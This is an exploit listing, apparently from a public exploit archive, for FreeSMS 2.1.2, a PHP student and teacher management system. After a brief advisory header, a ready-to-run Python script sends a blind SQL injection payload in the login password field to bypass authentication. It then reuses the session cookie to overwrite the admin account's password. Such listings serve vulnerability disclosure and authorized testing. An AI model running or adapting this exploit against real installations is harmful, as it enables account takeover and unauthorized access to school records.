FreeSMS 2.1.2 SQL Injection

2019.04.05
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: FreeSMS 2.1.2 - Authentication Bypass # Date: 2019-04-03 # Exploit Author: Yilmaz Degirmenci # Vendor Homepage: https://freesms.sourceforge.io/ # Software Link: https://sourceforge.net/projects/freesms/ # Version: v2.1.2 # Category: Webapps # Tested on: LAMPP for Linux # Software Description : FreeSMS is a PHP based application to manage an educational facility # of teachers and students alike. It is a teacher and student management system providing marketing, # registration, course management, attendance and a student evaluation system. # ================================================================== # The "password" parameter has boolean-based blind SQL injection vulnerability. # The login panel can be bypassed if the user name is known. # SQLDork: pass") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND ("WpaN"="WpaN # Exploit allows the creation of a new password on the target. import requests, sys, re, random if (len(sys.argv) != 2): print "[*] Usage: poc.py <RHOST><RPATH> (192.168.1.20/freesms)" exit(0) rhost = sys.argv[1] uname = str(raw_input("User Name: ")) npass = str(raw_input("New Pass: ")) url = "http://"+rhost+"/pages/crc_handler.php?method=login" headers = {"Content-Type": "application/x-www-form-urlencoded"} data = {"username": ""+uname+"", "password": "pass\") RLIKE (SELECT (CASE WHEN (4404=4404) THEN 0x61646d696e74 ELSE 0x28 END)) AND (\"WpaN\"=\"WpaN", "context": "ou=Don Mills,ou=Toronto,ou=Ontario,ou=Canada,o=CRC World", "login": "login"} bp = bypass = requests.post(url, headers=headers, data=data) if bp.status_code == 200: print "Authentication bypass was successful!" print "Trying to change password..." else: print "Something went wrong. You should try manual exploitation" sys.exit() cookies = bypass.headers['Set-Cookie'] cookie = re.split(r'\s', cookies)[0].replace(';','').replace('crc=','').strip() print "Admin Cookie : crc="+cookie+"" # Change admin password purl = "http://"+rhost+"/pages/crc_handler.php?method=profile&func=update" pcookies = {"crc": ""+cookie+""} pheaders = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} pdata={"context": "ou%3DDon+Mills%2Cou%3DToronto%2Cou%3DOntario%2Cou%3DCanada%2Co%3DCRC+World", "profileid": "1", "username": ""+uname+"", "password": ""+npass+"", "fname": "Firstname", "lname": "Lastname", "email": "admin@domain.com", "gender": "Male", "day": "19", "month": "11", "year": "1977", "add1": "Campulung", "add2": '', "city": "Campulung", "province": "AG", "country": "Romania", "pc": "115100", "lcode": "0040", "lprefix": "0000", "lpostfix": "000000", "update": "Update"} p = requests.post(purl, headers=pheaders, cookies=pcookies, data=pdata) if p.status_code == 200: print "New password successfully created! New Password: "+npass+"" else: print "Something went wrong. You should try manual exploitation" sys.exit()


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